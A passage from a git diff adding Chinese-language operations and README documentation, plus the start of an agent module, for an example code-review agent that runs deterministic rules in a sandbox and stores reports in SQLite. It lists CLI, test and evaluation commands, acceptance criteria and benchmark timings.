关闭 LLM 文本增强;规则、Filter、sandbox 和落库仍完整执行。 +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --model-mode off --output-dir out/review_off --db-url sqlite+pysqlite:///out/review_off/review.db + +# fake 增强,离线可复现。 +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --model-mode fake --output-dir out/review_fake --db-url sqlite+pysqlite:///out/review_fake/review.db + +# real 增强;需要 .env 三项,且不可同时传 --dry-run。 +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --model-mode real --output-dir out/review_real --db-url sqlite+pysqlite:///out/review_real/review.db +``` + +`--dry-run` 强制 fake,因此 `--dry-run --model-mode real` 不会调用真实模型。 + +Linux/macOS Bash 的模型命令与参数保持一致,只替换调用方式: + +```bash +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --model-mode off --output-dir out/review_off --db-url sqlite+pysqlite:///out/review_off/review.db +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --model-mode fake --output-dir out/review_fake --db-url sqlite+pysqlite:///out/review_fake/review.db +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --model-mode real --output-dir out/review_real --db-url sqlite+pysqlite:///out/review_real/review.db +``` + +### local、Container 与当前不可用的 Cube + +```powershell +# local:开发 fallback,输出目录下的 .workspaces 仅作运行期工作根,任务结束后会清理。 +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --output-dir out/review_local --db-url sqlite+pysqlite:///out/review_local/review.db + +# Container:生产严格默认;Docker daemon 必须已启动,运行时强制 network_mode=none。 +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox container --model-mode fake --output-dir out/review_container --db-url sqlite+pysqlite:///out/review_container/review.db + +# Container + real 模型:模型调用在宿主侧;Key 不传入容器。 +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox container --model-mode real --output-dir out/review_real_container --db-url sqlite+pysqlite:///out/review_real_container/review.db + +``` + +> **Cube/E2B 当前不可用,不是可执行示例。** `--sandbox cube` 为后续 SDK runtime 接线预留的 +> CLI 枚举值;当前入口没有注入 `cube_runtime_factory`,所以命令会以配置错误(退出码 2)结束。 +> 即使未来提供 runtime factory,仍必须先提供 +> 可机器验证的无出口网络或受控网关证明;否则 Filter 也会拒绝执行。不要把它作为 CI 命令,也不要 +> 用 `.env` 或 Filter 参数尝试绕过。生产评审请使用 `container`,本地调试请显式使用 `local`。 + +Container 不可用时会返回配置错误,绝不会静默回退到 local。首次启动若 Docker 需要拉取 SDK 默认镜像, +由 Docker 按本机策略完成;评审任务本身仍是 `network_mode=none`,不会在任务执行期间在线安装依赖。 + +Linux/macOS Bash 的沙箱命令: + +```bash +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --output-dir out/review_local --db-url sqlite+pysqlite:///out/review_local/review.db +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox container --model-mode fake --output-dir out/review_container --db-url sqlite+pysqlite:///out/review_container/review.db +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox container --model-mode real --output-dir out/review_real_container --db-url sqlite+pysqlite:///out/review_real_container/review.db +``` + +## 5. 报告、数据库与 CI 退出码 + +把 CLI JSON 保存为 PowerShell 对象即可立刻打开报告并按 task id 查询: + +```powershell +$result = & $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --output-dir out/review_query --db-url sqlite+pysqlite:///out/review_query/review.db | ConvertFrom-Json +$result.report_files.json +$result.report_files.markdown +& $py examples/skills_code_review_agent/run_agent.py show $result.task_id --db-url sqlite+pysqlite:///out/review_query/review.db +& $py examples/skills_code_review_agent/run_agent.py list --db-url sqlite+pysqlite:///out/review_query/review.db +& $py examples/skills_code_review_agent/run_agent.py init-db --db-url sqlite+pysqlite:///out/review_query/review.db +``` + +用于 CI 阻断 high/critical finding: + +```powershell +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --fail-on-severity high --output-dir out/review_ci --db-url sqlite+pysqlite:///out/review_ci/review.db +``` + +此命令即使成功生成报告也会以退出码 `1` 返回;Filter 拦截、sandbox warning、人工复核项默认不改变退出码。 + +Linux/macOS Bash 查询同一个 bundle 时,先把成功 JSON 保存在输出目录,再读取 task id: + +```bash +mkdir -p out/review_query +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --output-dir out/review_query --db-url sqlite+pysqlite:///out/review_query/review.db | tee out/review_query/cli_result.json +task_id=$("$py" -c "import json; print(json.load(open('out/review_query/cli_result.json', encoding='utf-8'))['task_id'])") +"$py" examples/skills_code_review_agent/run_agent.py show "$task_id" --db-url sqlite+pysqlite:///out/review_query/review.db +"$py" examples/skills_code_review_agent/run_agent.py list --db-url sqlite+pysqlite:///out/review_query/review.db +"$py" examples/skills_code_review_agent/run_agent.py init-db --db-url sqlite+pysqlite:///out/review_query/review.db +``` + +## 6. 自动化测试、评测与 PR 验收 + +```powershell +# 分层测试 +& $py -m pytest examples/skills_code_review_agent/tests/unit -q -p no:cacheprovider +& $py -m pytest examples/skills_code_review_agent/tests/integration -q -p no:cacheprovider +& $py -m pytest examples/skills_code_review_agent/tests/e2e -q -p no:cacheprovider + +# 普通完整回归:不要求 Docker 或真实模型。 +& $py -m pytest examples/skills_code_review_agent/tests -q -m "not container and not real_llm" -p no:cacheprovider + +# 可选的实际 Container / real 模型验证。 +& $py -m pytest examples/skills_code_review_agent/tests/integration -q -m container -p no:cacheprovider +& $py -m pytest examples/skills_code_review_agent/tests/integration -q -m real_llm -p no:cacheprovider + +# 公开代理门禁与静态规范。 +& $py examples/skills_code_review_agent/evaluate.py --sandbox local --output-dir out/eval_local +& $py examples/skills_code_review_agent/evaluate.py --sandbox container --output-dir out/eval_container +& $py -m flake8 examples/skills_code_review_agent +``` + +`evaluate.py` 只对公开代理语料证明 AC2,不代表官方隐藏样本结果。Container/real 模型测试是可选集成: +缺 Docker 或 `.env` 时可以跳过对应标记,但不能把实现缺失伪装为 skip。 + +Linux/macOS Bash 的测试、评测和 lint 命令仅将 `& $py` 替换为 `"$py"`: + +```bash +"$py" -m pytest examples/skills_code_review_agent/tests/unit -q -p no:cacheprovider +"$py" -m pytest examples/skills_code_review_agent/tests/integration -q -p no:cacheprovider +"$py" -m pytest examples/skills_code_review_agent/tests/e2e -q -p no:cacheprovider +"$py" -m pytest examples/skills_code_review_agent/tests -q -m "not container and not real_llm" -p no:cacheprovider +"$py" -m pytest examples/skills_code_review_agent/tests/integration -q -m container -p no:cacheprovider +"$py" -m pytest examples/skills_code_review_agent/tests/integration -q -m real_llm -p no:cacheprovider +"$py" examples/skills_code_review_agent/evaluate.py --sandbox local --output-dir out/eval_local +"$py" examples/skills_code_review_agent/evaluate.py --sandbox container --output-dir out/eval_container +"$py" -m flake8 examples/skills_code_review_agent +``` + +## 7. 常见故障 + +| 现象 | 原因与处理 | +|---|---| +| PowerShell 出现 `UnexpectedToken PS` 或 `>>` 重定向错误 | 复制了终端提示符或上一条未结束的续行符;按 `Ctrl+C` 返回正常提示符后,只粘贴代码块。 | +| `container_runtime_unavailable` | Docker Desktop 未运行或 daemon 不可达;先运行本手册第 0 节检查。 | +| real 模型只出现 warning | `.env` 缺任一白名单变量、变量为空,或误加了 `--dry-run`;不要把 Key 打印到终端。 | +| 找不到报告 | 读取成功 JSON 的 `report_files.json` / `report_files.markdown`;不要猜默认目录。 | +| `--sandbox cube` 失败 | 当前示例未接入 Cube/E2B runtime factory,命令会以配置错误(退出码 2)结束;即使后续接入也必须提供机器可验证的网络隔离证明。请使用 `container` 或显式 `local`。 | +| 想让 sandbox 运行目标仓库测试 | 这是 `DEV_SPEC.md` 第 7 章未来工作;当前 CLI 故意拒绝 `--run-tests`。 | diff --git a/examples/skills_code_review_agent/README.md b/examples/skills_code_review_agent/README.md new file mode 100644 index 000000000..7cd722205 --- /dev/null +++ b/examples/skills_code_review_agent/README.md @@ -0,0 +1,372 @@ +# Automatic Code Review Agent 自动代码评审示例 + +本示例是 issue #92 的可验证自动代码评审 Agent:它审查 git diff、PR patch、工作区变更或指定文件, +通过受控 `code-review` Skill、Filter 与隔离 workspace 生成结构化 finding,并将任务、沙箱运行、 +治理事件和最终报告持久化。确定性规则负责检出;LLM 只能在显式启用时增强摘要和修复建议,不能改变 +finding 的身份、严重级别、置信度或分桶。 + +## 规格依据 + +同目录的 [`DEV_SPEC.md`](DEV_SPEC.md) 是唯一规格源,定义字段契约、安全预算、AC1–AC8、 +排期和测试方法;本 README 是面向使用者与验收官的导航摘要。若文档冲突,以 `DEV_SPEC.md` 为准。 + +## 关键特性 + +- **受控 Skill 规则**:[`skills/code-review/SKILL.md`](skills/code-review/SKILL.md) 与 + [`manifest.json`](skills/code-review/scripts/manifest.json) 固定可执行脚本、参数、摘要和预算;规则覆盖 + security、async-errors、resource-leak、db-lifecycle、missing-tests 和 secrets。 +- **四种输入模式**:支持 `--diff-file`、`--repo-path`、`--files` 和 `--fixture`;diff/repo 仅审查变更行, + files 为显式全文件 snapshot 扫描。 +- **两条明确入口**:`review` 直接调用唯一 `ReviewPipeline`;`user-query` 会让 SDK + `LlmAgent + SkillToolSet` 真实产生 `skill_load → skill_run` 工具事件。受控 `skill_run` + 只接收宿主签发的一次性 request id,再委托同一 pipeline,不向模型暴露 diff、命令、环境变量或宿主路径。 +- **安全沙箱与 Filter**:生产默认 Container 且验证 `network_mode=none`;local 必须显式选择并产生告警; + Cube 缺少机器可验证网络证明时默认拒绝。DENY / NEEDS_HUMAN_REVIEW 不会创建 sandbox;单次输出上限 + **1 MiB**、整次评审输出上限 **2 MiB**,并受 30 秒单次超时和 90 秒累计沙箱预算约束。 +- **可回放的结构化结果**:canonical JSON 经 schema 校验和全出口脱敏后生成 Markdown;默认 SQLite 的五张 + `cr_*` 表支持按 task id 查询 task、sandbox run、Filter event、finding 和 report。 +- **可观察且受限的终端日志**:默认 `INFO` 仅写 stderr,显示阶段、计数、耗时、实际 Docker container ID 和 + 报告位置;SDK 原始日志被静默,原始 diff、evidence、环境变量、凭据和 workspace/request ID 不会输出。 +- **可复现质量门禁**:8 条 `_simple` fixture、8 条 `_complex` 工程样例、公开代理语料、fake model 与显式 + local sandbox 共同构成离线验证链路。 + +## 交付物总览 + +以下交付物共同构成可复现的审查闭环;运行命令、16 个 fixture 和维护者验收步骤集中在 +[`OPERATIONS.md`](OPERATIONS.md)。 + +### 审查链路与关键文件 + +```text +CLI direct ──────────────────────────────────────────────┐ +CLI user-query ───────→ SDK LlmAgent + SkillToolSet │ + │ skill_load → 受控 skill_run │ + └────────────────────────────────┤ + ▼ +输入解析 → Filter 决策 → SDK workspace sandbox → 去重/分桶/脱敏 + ▼ + ReviewPipeline → canonical review_report.json + ├── review_report.md + ├── SQLite cr_* tables + └── Metrics / Telemetry(仅白名单字段) +``` + +关键文件: + +- [`run_agent.py`](run_agent.py):`review`、`user-query`、`show`、`list`、`init-db` 五个 CLI 子命令;成功时输出 + `task_id`、`entrypoint`、实际 `skill_tools`、`sandbox` 和 `report_files` 的完整位置。 +- [`agent/agent.py`](agent/agent.py) 与 [`agent/tools.py`](agent/tools.py):SDK `LlmAgent`、 + `SkillRepository`、`SkillToolSet` 及一次性 request id 约束的 Agent 入口。 +- [`code_review/pipeline.py`](code_review/pipeline.py):唯一检测与报告编排链路。 +- [`code_review/governance.py`](code_review/governance.py) 与 [`code_review/sandbox.py`](code_review/sandbox.py): + manifest 驱动的 Filter 治理、SDK runtime、超时和输出上限。 +- [`code_review/store/models.py`](code_review/store/models.py)、[`review_store.py`](code_review/store/review_store.py): + 可替换 SQL 后端与默认 SQLite 五表。 +- [`schemas/review_report.schema.json`](schemas/review_report.schema.json) 与 [`code_review/report.py`](code_review/report.py): + JSON schema、原子写入和从 JSON 派生 Markdown。 +- [`tests/fixtures/diffs/`](tests/fixtures/diffs/) 与 + [`tests/e2e/test_fixtures_e2e.py`](tests/e2e/test_fixtures_e2e.py):8 simple + 8 complex 公开样例和 E2E 合同。 + +## 验收标准与当前证据 + +下表保留 issue #92 的官方验收口径,并区分“仓库内可复现证据”和“只能由官方隐藏样本判定的结果”。 +公开 fixture、代理语料和实测数据不能替代官方隐藏样本验收。 + +| AC | 官方验收标准 | 当前项目证据 | 状态 | +|---|---|---|---| +| AC1 | 8 条公开 diff 样本必须全部可运行并生成审查报告。 | 8 个 `_simple` fixture 逐条验证 JSON、Markdown 和 SQLite;另提供 8 个 `_complex` 工程样例。 | 已提供公开证据 | +| AC2 | 隐藏样本上高危问题检出率 ≥ 80%,误报率 ≤ 15%。 | `evaluate.py` 在带标注的公开代理语料上计算 Recall、Precision、F1 和 finding 级误报占比。 | 已提供公开证据 | +| AC3 | 数据库完整记录 task、sandbox run、finding 和 report,并支持按 task id 查询。 | 默认 SQLite 五表还记录 Filter event;CLI 提供 `show`、`list` 和 `init-db`。 | 已提供公开证据 | +| AC4 | 沙箱执行具备超时和输出大小限制;超时或失败不能导致整个评审任务崩溃。 | timeout、非零退出和截断均作为 sandbox run 与 warning 持久化;能生成报告时返回 `completed_with_warnings`。 | 已提供公开证据 | +| AC5 | 敏感信息脱敏检出率 ≥ 95%,报告和数据库中不能出现明文 API Key、token、password。 | 合成凭据代理语料、检/脱同源规则和三层出口扫描共同验证 `plaintext_hits=0`。 | 已提供公开代理证据 | +| AC6 | dry-run / fake model 模式下完整评审流程耗时 ≤ 2 分钟。 | 8 个 simple fixture 分别通过独立 fake + local Agent 进程运行,每条均低于 120 秒;聚合耗时只作观测。 | 已提供实测证据 | +| AC7 | 高风险脚本必须先经过 Filter;deny / needs_human_review 不能直接进入沙箱执行。 | Filter 前置短路测试断言 sandbox run 数为 0,并持久化脱敏决策原因。 | 已提供公开证据 | +| AC8 | 报告包含 findings 摘要、严重级别统计、人工复核项、Filter 拦截摘要、监控指标、沙箱执行摘要和可执行修复建议。 | canonical JSON schema、确定性 Markdown 和 sample output 覆盖全部报告分区。 | 已提供公开证据 | + +### 公开代理评测实测指标 + +下列指标来自 `evaluate.py` 的固定、带标注公开代理语料:16 条计分高危正例、10 条干净负例和 48 条合成敏感信息样例。 +它们用于复现 AC2/AC5 的代理证据。 + +| 指标 | 验收阈值 | 当前公开代理实测 | +|---|---:|---:| +| 高危检出率(Recall) | ≥ 80% | **100%(16/16)** | +| finding 级误报占比 | ≤ 15% | **0%(0 FP)** | +| 敏感信息脱敏检出率 | ≥ 95% | **100%(48/48)**,`plaintext_hits=0` | + +## 环境与快速开始 + +### 环境要求 + +- Python 3.10+,所有命令必须使用仓库 `.venv`。 +- Windows PowerShell 的解释器为 `.venv\Scripts\python.exe`;Linux/macOS Bash 的解释器为 + `.venv/bin/python`。 +- `--sandbox container` 需要 Docker Desktop 或可用 Docker daemon;`--sandbox local` 不需要 Docker, + 但只能作为显式开发 fallback。 +- 真实模型仅在显式 `--model-mode real` 时需要 `.env` 配置。 + +先按仓库根 [`pyproject.toml`](../../pyproject.toml) 安装项目与开发工具;本示例额外使用 +`jsonschema` 校验 canonical report,并在同目录 [`requirements.txt`](requirements.txt) 中单独声明, +避免修改共享 SDK 的依赖范围。维护者新建环境可执行: + +```powershell +$py = ".\.venv\Scripts\python.exe" +& $py -m pip install -e ".[dev]" +& $py -m pip install -r examples/skills_code_review_agent/requirements.txt +``` + +```bash +py=".venv/bin/python" +"$py" -m pip install -e ".[dev]" +"$py" -m pip install -r examples/skills_code_review_agent/requirements.txt +``` + +### 真实模型配置 + +从 [`.env.example`](.env.example) 创建项目目录 `.env` 后,仅可填写以下三项;`.env` 已被 Git 忽略, +绝不提交。进程环境变量优先于 `.env`。 + +Windows PowerShell: + +```powershell +Copy-Item examples/skills_code_review_agent/.env.example examples/skills_code_review_agent/.env +``` + +Linux/macOS Bash: + +```bash +cp examples/skills_code_review_agent/.env.example examples/skills_code_review_agent/.env +``` + +```dotenv +TRPC_AGENT_API_KEY=<由使用者提供> +TRPC_AGENT_BASE_URL=<兼容 OpenAI 的服务地址> +TRPC_AGENT_MODEL_NAME=<模型名称> +``` + +模型 Key、token、password 不会进入 sandbox、日志、Telemetry、JSON、Markdown 或 SQLite。 +`--sandbox`、网络策略、`--output-dir` 和 `--db-url` 必须显式写在命令中,不能藏进 `.env`。 + +### 快速开始 + +Windows PowerShell: + +```powershell +$py = ".\.venv\Scripts\python.exe" +& $py examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --output-dir out/review_quickstart --db-url sqlite+pysqlite:///out/review_quickstart/review.db +``` + +Linux/macOS Bash: + +```bash +py=".venv/bin/python" +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --output-dir out/review_quickstart --db-url sqlite+pysqlite:///out/review_quickstart/review.db +``` + +`--dry-run` 强制 fake model,但不会把沙箱自动改成 local。要验证 SDK Agent 入口,使用带结构化输入的 +`user-query`: + +```powershell +& $py examples/skills_code_review_agent/run_agent.py user-query "请使用 code-review Skill 审查这个 fixture" --fixture 01_clean_simple --sandbox local --dry-run --log-level INFO --output-dir out/review_user_query --db-url sqlite+pysqlite:///out/review_user_query/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py user-query "Use the code-review Skill to review this fixture" --fixture 01_clean_simple --sandbox local --dry-run --log-level INFO --output-dir out/review_user_query --db-url sqlite+pysqlite:///out/review_user_query/review.db +``` + +`user-query` 的自然语言只表达审查意图;`--diff-file`、`--repo-path`、`--files` 或 `--fixture` 必须显式选择一个。 +格式错误的 diff、路径逃逸、非 UTF-8 文件和疑似凭据 query 会在创建 Agent 前拒绝。 + +需要在终端观察受控 Agent 流程时,增加 `--trace`。trace 以 JSON Lines 写入 **stderr**,stdout 仍只输出 +最终 JSON,因此 CI 可以继续直接解析 stdout。它显示 query 解析、SDK `skill_load` / `skill_run` 事件、 +Filter、sandbox、Pipeline 和报告落库;不显示模型私有推理、原始 query/diff、代码/evidence、request id、 +命令、环境变量或临时路径。 + +### 真实模型 + Container 的预期终端输出 + +在项目 `.env` 已配置真实模型、Docker daemon 已启动时,以下 PowerShell 命令会让真实 `LlmAgent` 通过 +`SkillToolSet` 调用 `code-review` Skill;模型私有推理不会显示。`--trace` 与 `INFO` 日志显示的是已脱敏的 +编排和执行事件,最终 stdout 仍只有一行可供脚本解析的 JSON。 + +```powershell +$py = ".\.venv\Scripts\python.exe" +& $py examples/skills_code_review_agent/run_agent.py user-query ` + "请使用 code-review Skill 审查 02_security_simple fixture" ` + --fixture 02_security_simple ` + --trace ` + --model-mode real ` + --sandbox container ` + --output-dir out/review_real_trace ` + --db-url sqlite+pysqlite:///out/review_real_trace/review.db +``` + +预期输出的核心片段如下。``、`` 和 `` 均为占位符,分别代表本次运行 +生成的容器 ID、审查任务 ID 和绝对输出目录;文档不记录某次真实运行的标识或本机路径: + +```text +[code-review-trace] {"event": "user_query.request_received", "input_type": "query"} +[code-review-trace] {"event": "user_query.input_validated", "input_type": "fixture"} +[INFO] Review started: entrypoint=agent model_mode=real runtime=container +[INFO] Container started: container_id= +[code-review-trace] {"entrypoint": "agent", "event": "review.started", "model_mode": "real", "runtime_type": "container"} +[code-review-trace] {"event": "agent.turn_started", "input_type": "fixture"} +[INFO] Agent tool call: skill_load +[code-review-trace] {"event": "agent.tool_call", "tool": "skill_load"} +[INFO] Agent tool response: skill_load +[code-review-trace] {"event": "agent.tool_response", "tool": "skill_load"} +[INFO] Agent tool call: skill_run +[code-review-trace] {"event": "agent.tool_call", "tool": "skill_run"} +[code-review-trace] {"event": "skill_run.started", "tool": "skill_run"} +[code-review-trace] {"event": "pipeline.started", "input_type": "fixture", "runtime_type": "container"} +[INFO] Pipeline started: input_type=fixture runtime=container +[code-review-trace] {"event": "pipeline.input_loaded", "source_kind": "fixture"} +[INFO] Input loaded: source=fixture files=2 hunks=2 changed_lines=8 +[code-review-trace] {"action": "allow", "event": "pipeline.filter_decision"} +[INFO] Filter decision: action=ALLOW +[code-review-trace] {"event": "pipeline.sandbox_started", "runtime_type": "container"} +[INFO] Sandbox started: runtime=container +[code-review-trace] {"candidate_count": 2, "event": "pipeline.sandbox_finished", "status": "ok", "timed_out": false, "truncated": false} +[INFO] Sandbox finished: status=ok duration_ms=642 timed_out=False truncated=False +[code-review-trace] {"event": "pipeline.report_persisted", "finding_count": 2, "needs_human_review_count": 0, "status": "completed", "warning_count": 0} +[INFO] Canonical report persisted: findings=2 warnings=0 needs_human_review=0 +[code-review-trace] {"event": "skill_run.completed", "status": "completed"} +[INFO] Agent tool response: skill_run +[code-review-trace] {"event": "agent.tool_response", "tool": "skill_run"} +[code-review-trace] {"event": "agent.turn_completed", "status": "completed"} +[code-review-trace] {"entrypoint": "agent", "event": "review.completed", "status": "completed"} +[INFO] Report persisted: status=completed findings=2 warnings=0 needs_human_review=0 +[INFO] JSON report saved to: /review_report.json +[INFO] Markdown report saved to: /review_report.md +{"dry_run": false, "entrypoint": "agent", "report_files": {"json": "/review_report.json", "markdown": "/review_report.md"}, "sandbox": "container", "skill_tools": ["skill_load", "skill_run"], "status": "completed", "task_id": ""} +``` + +这说明 `user-query → skill_load → skill_run → Filter → Container sandbox → ReviewPipeline → JSON / Markdown / SQLite` +链路已实际触发。finding 数量、耗时和 task id 随输入与运行环境变化;若 Container 或真实模型不可用,CLI 会给出 +配置错误或 warning,绝不会静默切换到 local 或 fake 模型。 + +## 四种输入与运行模式 + +四种输入互斥,同一次评审只能选择一项。自然语言 `user-query` 只表达意图,文件和目录始终通过结构化参数传入。 + +| 输入 | 参数示例 | 审查语义 | +|---|---|---| +| unified diff / PR patch | `--diff-file changes.diff` | changed-lines 增量审查 | +| Git 工作区 | `--repo-path .` | `git diff HEAD` 加未跟踪文本文件 | +| 指定文件 | `--files src/a.py src/b.py --input-root .` | full-file snapshot 扫描 | +| 内置样例 | `--fixture 02_security_simple` | 使用 fixture 声明的 diff 或 full-file 载荷 | + +| 模型模式 | 行为 | +|---|---| +| `--model-mode off` | 不做 LLM 文本增强,规则、Filter、sandbox 和落库仍完整执行 | +| `--model-mode fake` / `--dry-run` | 使用离线 fake 模型;`--dry-run` 不会自动切换 local sandbox | +| `--model-mode real` | 显式读取三项模型配置,只增强摘要、建议和复核提示,不改变 finding | + +| 沙箱模式 | 行为 | +|---|---| +| `--sandbox container` | 生产严格默认,要求 Docker,执行时验证 `network_mode=none` | +| `--sandbox local` | 显式开发 fallback,不需要 Docker,并在报告中生成隔离能力 warning | +| `--sandbox cube` | **当前示例不支持,不能用于评审。** CLI 未注入 Cube/E2B runtime factory,且没有机器可验证的无出口网络证明;因此调用会以配置错误退出,不能通过环境变量或 Filter 配置绕过。请使用 production 的 `container` 或仅限开发的显式 `local`。 | + +完整的 Windows/Linux 命令、16 个 fixture、模型/沙箱组合和拒绝场景见 +[`OPERATIONS.md`](OPERATIONS.md)。 + +## 运行结果与报告定位 + +每次成功的 `review` 都在终端输出一行脱敏 JSON。`report_files.json` 和 `report_files.markdown` 是可直接 +打开的完整报告路径;路径只显示在当前终端,不写入 report、数据库、日志或 Telemetry。 + +```json +{ + "task_id": "review-...", + "entrypoint": "pipeline", + "skill_tools": [], + "sandbox": "local", + "status": "completed_with_warnings", + "report_files": { + "json": "/review_report.json", + "markdown": "/review_report.md" + } +} +``` + +JSON 是规范源;Markdown 只能从已校验 JSON 渲染。可查看 +[`sample_output/review_report.json`](sample_output/review_report.json) 和 +[`sample_output/review_report.md`](sample_output/review_report.md)。通过 `show `、`list`、`init-db` +查询或初始化数据库的完整命令也在 [`OPERATIONS.md`](OPERATIONS.md)。 +样例由 `user-query` 的 fake model + 显式 local sandbox 生成,报告中 `metrics.tool_call_count=2`,可直接佐证 +`skill_load → skill_run` 的 Agent/Skill 链路;其中的 local 告警是该开发 fallback 的预期安全语义。 + +## 最小验证命令 + +常规回归、公开代理评测和静态规范检查: + +```powershell +& $py -m pytest examples/skills_code_review_agent/tests -q -m "not container and not real_llm" -p no:cacheprovider +& $py examples/skills_code_review_agent/evaluate.py --sandbox local --output-dir out/eval_local +& $py -m flake8 examples/skills_code_review_agent +``` + +`evaluate.py --sandbox local` 是 fake model 的离线**公开代理**评测;它可以提供 AC2 的可重复证据, +但**不证明**官方隐藏样本的检出率或误报率。Container 与 real 模型测试分别标记为 `container`、 +`real_llm`,只在已具备 Docker 或真实模型配置时运行。 + +## 2026-07-28 独立 Agent 实测基准 + +以下数据用于维护者复现实测,不是跨机器、跨网络或跨模型服务的性能承诺。每一个单元格都是一个**独立的** +`user-query` 进程:显式 `--sandbox local`,使用独立输出目录和 SQLite;成功项均已验证 +`entrypoint=agent`、工具序列 `skill_load → skill_run`,以及 JSON、Markdown、SQLite 三类产物。 +`dry-run` 使用 `--dry-run`(强制 fake model),`real` 使用 `.env` 已配置的 `--model-mode real`,因此 +真实模型时间包含模型服务响应,且不属于 AC6 的硬门禁。 + +真实模型调用统一设置为单次 HTTP 请求最多 30 秒;在尚未生成内容的 API 瞬时失败时,SDK 最多额外重试 +3 次,固定退避 5、10、20 秒。重试不会重复已经进入 `skill_run` 的 pipeline。 + +simple fixture: + +| Fixture | dry-run(fake) | real model | 说明 | +|---|---:|---:|---| +| 01_clean_simple | 26.780 s | 48.095 s | 两组均完成 | +| 02_security_simple | 25.067 s | 53.337 s | 两组均完成 | +| 03_async_leak_simple | 25.617 s | 53.265 s | 两组均完成 | +| 04_db_lifecycle_simple | 27.312 s | 45.767 s | 两组均完成 | +| 05_missing_tests_simple | 25.669 s | 48.538 s | 两组均完成 | +| 06_duplicate_finding_simple | 27.092 s | 48.515 s | 两组均完成 | +| 07_sandbox_failure_simple | 25.685 s | 43.544 s | 两组均完成;预期 sandbox warning 被持久化 | +| 08_secret_redaction_simple | 25.886 s | 60.336 s | 两组均完成;只使用合成凭据 | + +simple dry-run 最大值为 **27.312 s**,8/8 均低于 AC6 的单条 **120 s** 限制;simple real 的 8 条均完成且 +观测范围为 43.544–60.336 s,但 real 不作为 AC6 证据。 + +complex fixture: + +| Fixture | dry-run(fake) | real model | 说明 | +|---|---:|---:|---| +| 01_clean_complex | 28.814 s | 46.149 s | 两组均完成 | +| 02_security_complex | 25.637 s | 56.394 s | 两组均完成 | +| 03_async_leak_complex | 25.673 s | 53.816 s | 两组均完成 | +| 04_db_lifecycle_complex | 25.899 s | 50.062 s | 两组均完成 | +| 05_missing_tests_complex | 25.664 s | 52.292 s | 两组均完成 | +| 06_duplicate_finding_complex | 25.424 s | 49.985 s | 重试策略修复后复测完成 | +| 07_sandbox_failure_complex | 26.039 s | 46.804 s | 重试策略修复后复测完成;预期 sandbox warning 被持久化 | +| 08_secret_redaction_complex | 27.605 s | 60.422 s | 重试策略修复后复测完成;只使用合成凭据 | + +complex dry-run 最大值为 **28.814 s**,8/8 完成。首次 complex real 观测曾出现两条 exit 2 与一条 +198.858 s 长尾,确认其不来自 fixture 的 fake E2E 后,加入上述模型调用超时/退避策略;仅重跑的三条均已 +完成,complex real 当前为 8/8,范围 46.149–60.422 s。它仍是当前真实模型服务条件下的诊断记录,**不**可 +替代、也不影响 AC6 的 simple fake/local 门禁。复现命令与输出定位方式见 [`OPERATIONS.md`](OPERATIONS.md)。 + +## 文档导航 + +- [`README.md`](README.md):项目主入口,说明能力、交付物、官方验收标准、快速开始、运行模式和实测基准。 +- [`OPERATIONS.md`](OPERATIONS.md):维护者的详细 PR 验收、16 个 fixture、双平台完整命令、数据库查询、 + Docker/real model 验证、日志诊断和故障排查。 +- [`DESIGN.md`](DESIGN.md):架构取舍、安全边界、数据库 schema、去重降噪、监控字段和风险。 +- [`DEV_SPEC.md`](DEV_SPEC.md):字段契约、锁定预算、排期和 AC1–AC8 的唯一规范源。 + +## 适用场景建议 + +- 需要快速验证 git diff / PR patch 的确定性风险检出、报告和 SQLite 回放:使用本示例。 +- 需要验证 Skill、Filter、Container sandbox、脱敏和监控如何组成审查闭环:使用本示例。 +- 需要在 CI 中对高危 finding 阻断合并:结合 `--fail-on-severity high` 与本项目 CLI。 +- 需要运行目标仓库测试、SARIF、多语言规则、LLM 语义补审或在线评测平台:这些属于 + [`DEV_SPEC.md`](DEV_SPEC.md) 第 7 章未来工作,不由当前 CLI 隐式执行。 diff --git a/examples/skills_code_review_agent/agent/__init__.py b/examples/skills_code_review_agent/agent/__init__.py new file mode 100644 index 000000000..108cbaafd --- /dev/null +++ b/examples/skills_code_review_agent/agent/__init__.py @@ -0,0 +1,9 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Agent entry-point package.""" diff --git a/examples/skills_code_review_agent/agent/agent.py b/examples/skills_code_review_agent/agent/agent.py new file mode 100644 index 000000000..6983cd3e4 --- /dev/null +++ b/examples/skills_code_review_agent/agent/agent.py @@ -0,0 +1,359 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""LlmAgent and SkillToolSet assembly for code review.""" + +from __future__ import annotations + +import asyncio +from collections.abc import AsyncGenerator, Callable +import json +import logging +from pathlib import Path +import re +from typing import Any + +from code_review.redaction import redact_text +from code_review.trace import TraceSink, emit_trace +from trpc_agent_sdk.code_executors import BaseWorkspaceRuntime +from trpc_agent_sdk.agents import LlmAgent +from trpc_agent_sdk.models import LLMModel, LlmResponse +from trpc_agent_sdk.runners import Runner +from trpc_agent_sdk.sessions import 